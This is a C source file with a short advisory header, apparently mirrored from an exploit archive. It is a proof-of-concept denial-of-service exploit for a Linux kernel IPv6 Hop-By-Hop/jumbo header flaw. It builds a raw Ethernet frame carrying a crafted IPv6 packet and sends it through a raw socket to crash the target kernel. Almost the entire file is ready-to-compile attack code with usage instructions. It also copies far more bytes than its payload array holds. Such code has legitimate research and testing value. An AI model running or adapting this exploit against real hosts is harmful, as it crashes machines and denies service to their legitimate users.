153 lines
No EOL
4 KiB
C
153 lines
No EOL
4 KiB
C
/*
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source: https://www.securityfocus.com/bid/26943/info
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The Linux kernel is prone to a remote denial-of-service vulnerability because it fails to adequately validate specially crafted IPv6 'Hop-By-Hop' headers.
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Attackers can exploit this issue to cause a kernel panic, denying service to legitimate users.
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*/
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/*
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* Clemens Kurtenbach <ckurtenbach at s21sec . com>
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* PoC code for exploiting the jumbo bug found in
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* linux kernels >=2.6.20 and <=2.6.21.1
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* gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash
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*
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*/
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/* io */
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#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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/* network */
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#include <sys/socket.h>
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#include <linux/if_packet.h>
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#include <linux/if_ether.h>
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#include <linux/if_arp.h>
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#include <netdb.h>
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#include <linux/if.h>
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#define MY_FRAME_LEN 1145
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char *resolve6(unsigned char *target) {
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char *ret_addr;
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struct in6_addr my_in6;
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char *glob_addr = (char *) &my_in6;
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struct addrinfo addr_hints, *addr_result;
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unsigned char out[64];
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memset(&addr_hints, 0, sizeof(addr_hints));
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addr_hints.ai_family = AF_INET6;
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if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
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printf("getaddrinfo() error\n");
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exit(1);
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}
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if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen,
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out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
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printf("getnameinfo() error\n");
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exit(1);
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}
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if(inet_pton(AF_INET6, out, glob_addr) < 0) {
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printf("inet_pton() error\n");
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exit(1);
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}
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if((ret_addr = malloc(16)) == NULL) {
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printf("malloc() error\n");
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exit(1);
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}
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memcpy(ret_addr, my_in6.s6_addr, 16);
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return ret_addr;
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}
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int main(int argc, char *argv[]) {
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if (argc < 4) {
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printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3>
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<00:11:22:33:44:55> <eth0>\n");
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exit(1);
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}
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/* handle IPv6 destination */
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unsigned char *dest_ip = resolve6(argv[1]);
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/* handle MAC */
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unsigned char dest_mac[7];
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sscanf(argv[2], "%x:%x:%x:%x:%x:%x",
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(unsigned int*)&dest_mac[0], (unsigned
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int*)&dest_mac[1],
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(unsigned int*)&dest_mac[2], (unsigned
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int*)&dest_mac[3],
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(unsigned int*)&dest_mac[4], (unsigned
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int*)&dest_mac[5]);
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/* handle interface */
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unsigned char *iface;
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iface = argv[3];
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/* buffer for ethernet frame */
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void *buffer = (void*)malloc(MY_FRAME_LEN);
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/* pointer to ethenet header */
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unsigned char *etherhead = buffer;
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struct ethhdr *eh = (struct ethhdr *)etherhead;
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/* our MAC address */
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unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55
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};
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unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};
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/* prepare socket */
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int s;
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s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
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if (s < 0) {
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printf("cannot create socket: [%d]\n",s);
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exit(1);
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}
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/* RAW communication */
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struct sockaddr_ll socket_address;
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socket_address.sll_family = PF_PACKET;
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socket_address.sll_protocol = htons(ETH_P_IP);
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socket_address.sll_ifindex = if_nametoindex(iface);
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socket_address.sll_hatype = ARPHRD_ETHER;
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socket_address.sll_pkttype = PACKET_OTHERHOST;
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socket_address.sll_halen = ETH_ALEN;
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/* set the frame header */
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memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
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memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
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eh->h_proto = 0xdd86; // IPv6
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/* the buffer we want to send */
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unsigned char bad_buffer[] = {
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0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00,
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0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00,
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0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };
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memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);
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/* overwrite our src and dst ip */
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memcpy((void*)(buffer+22), (void*)src_ip, 16);
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memcpy((void*)(buffer+38), dest_ip, 16);
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/* send the buffer */
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int send_result = 0;
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send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct
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sockaddr*)&socket_address, sizeof(socket_address));
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if (send_result == -1) {
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printf("could not send frame: [%d]\n", send_result);
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exit(1);
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}
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else printf("frame send to ip [%s] with mac [%s] on iface
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[%s]\n",argv[1],argv[2],argv[3]);
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return 0;
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} |